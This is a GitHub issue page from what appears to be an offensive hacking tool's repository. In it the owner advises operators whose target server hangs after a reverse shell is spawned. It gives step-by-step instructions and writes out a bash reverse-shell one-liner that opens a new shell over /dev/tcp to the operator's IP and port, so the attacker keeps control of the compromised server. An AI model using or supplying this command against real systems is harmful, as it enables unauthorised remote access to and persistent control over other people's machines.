Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

[Fix] Server Hangs on Reverse Shell #16

Closed
VainlyStrain opened this issue Dec 15, 2020 · 0 comments
Closed

[Fix] Server Hangs on Reverse Shell #16

VainlyStrain opened this issue Dec 15, 2020 · 0 comments

Comments

@VainlyStrain
Copy link
Owner

If the target server is only running on 1 thread, and a reverse shell is spawned, the server doesn't accept HTTP connections any more, leading to a DoS scenario. If this happens in your operation, perform the following steps:

  1. create a new listener on a different port
  2. in your current shell, enter the following command:
bash -i >& /dev/tcp/{YOUR IP}/{NEW PORT} 0>&1 & exit

This will spawn a new shell on your second port and terminate the first, and the server will accept connections again.

@VainlyStrain VainlyStrain pinned this issue Dec 15, 2020
# for free to join this conversation on GitHub. Already have an account? # to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant